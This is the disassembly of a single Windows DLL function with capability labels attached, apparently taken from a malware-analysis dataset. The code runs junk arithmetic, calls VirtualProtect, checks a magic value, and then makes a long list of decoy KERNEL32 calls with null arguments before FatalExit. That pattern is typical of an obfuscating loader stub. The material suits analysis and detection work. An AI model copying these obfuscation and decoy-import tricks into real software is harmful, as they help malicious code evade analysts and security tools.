Function at 0x180003f90
Capabilities:
Copy file
Get system firmware table
Get uefi variable

Disassembly:
sub rsp, 0x58
mov dword [rsp + 0x34], 0x1f09
mov dword [rsp + 0x3c], 0x17c7
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x30], 0xded
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x40], 0
mov eax, dword [rsp + 0x3c]
sub eax, 0x59
mov dword [rsp + 0x3c], eax
mov dword [rsp + 0x38], 0
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x96c
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x38]
add eax, 0x1499
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x1952
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x53f
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x3c]
add eax, 0x3f7
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x38]
add eax, 0x69a
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x30]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
je 0x1800040e1
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
jmp 0x1800040c5
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
sub eax, 0x20c6
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x30]
add eax, 0x1849
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x19ca
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x40]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x18000416f
cmp dword [rsp + 0x40], 0
jle 0x18000416f
mov eax, dword [rsp + 0x40]
sub eax, 0x15a7
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x34]
sub eax, 0x707
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
je 0x1800041b8
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
jmp 0x18000419c
mov eax, dword [rsp + 0x38]
add eax, 0x176c
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x38]
sub eax, 0xabc
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
je 0x180004240
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
jmp 0x180004222
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x34]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
je 0x18000427f
mov eax, dword [rsp + 0x34]
add eax, 0x1ca1
mov dword [rsp + 0x34], eax
jmp 0x18000428c
mov eax, dword [rsp + 0x34]
sub eax, 0x1ca1
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x30]
sub eax, 0xced
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
add eax, 0x1f4a
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x34]
add eax, 0x1221
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
sub eax, 0xc42
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
sub eax, 0xdf9
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x30]
add eax, 0x1e9a
mov dword [rsp + 0x30], eax
mov eax, dword [0x18007bda0]
lea r9, [0x18007bda8]
mov r8d, dword [0x18007bda8]
mov edx, eax
mov rcx, qword [0x18007bdb8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x18007bda4]
mov ecx, 0xf5095b34
cmp rax, rcx
jne 0x180004494
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_NeedCurrentDirectoryForExePathW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSizeEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessorSystemCycleTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
xor edx, edx
lea rcx, str.EDRZPjmAxQFbERKlWypjzIqWJgX
call qword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CopyFileExW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.180028910
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddScopedPolicyIDAce]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnregisterWaitEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FatalExit]
add rsp, 0x58
ret